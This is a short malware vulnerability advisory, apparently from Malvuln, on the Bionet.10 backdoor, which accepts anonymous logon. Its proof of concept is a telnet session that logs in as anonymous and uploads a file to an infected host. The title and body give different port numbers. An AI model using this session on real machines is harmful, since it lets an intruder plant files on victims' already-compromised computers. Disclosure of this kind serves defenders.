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Backdoor.Win32.Bionet.10 Anonymous Login

🗓️ 19 Feb 2021 00:00:00Reported by malvulnType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 600 Views

Backdoor.Win32.Bionet.10 anonymous login vulnerability on TCP port 1234

Code
`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/be559307f5cd055f123a637b1135c8d3.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Bionet.10  
Vulnerability: Anonymous Logon  
Description: The backdoor listens on TCP port 12348 and allows anonymous logon credentials to be used to access an infected host.  
Type: PE32  
MD5: be559307f5cd055f123a637b1135c8d3  
Vuln ID: MVID-2021-0099  
Dropped files:   
Disclosure: 02/18/2021  
  
Exploit/PoC:  
TELNET x.x.x.x 12348  
  
220 BNFTP Server ready.   
USER anonymous   
331 Password required for anonymous.   
PASS anonymous   
230 User anonymous logged in.   
PASV   
227 Entering Passive Mode (192,168,1,10,194,160).   
STOR 1.js   
150 Opening data connection for 1.js.   
PASV   
226 File received ok   
227 Entering Passive Mode (192,168,1,10,194,162).   
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`

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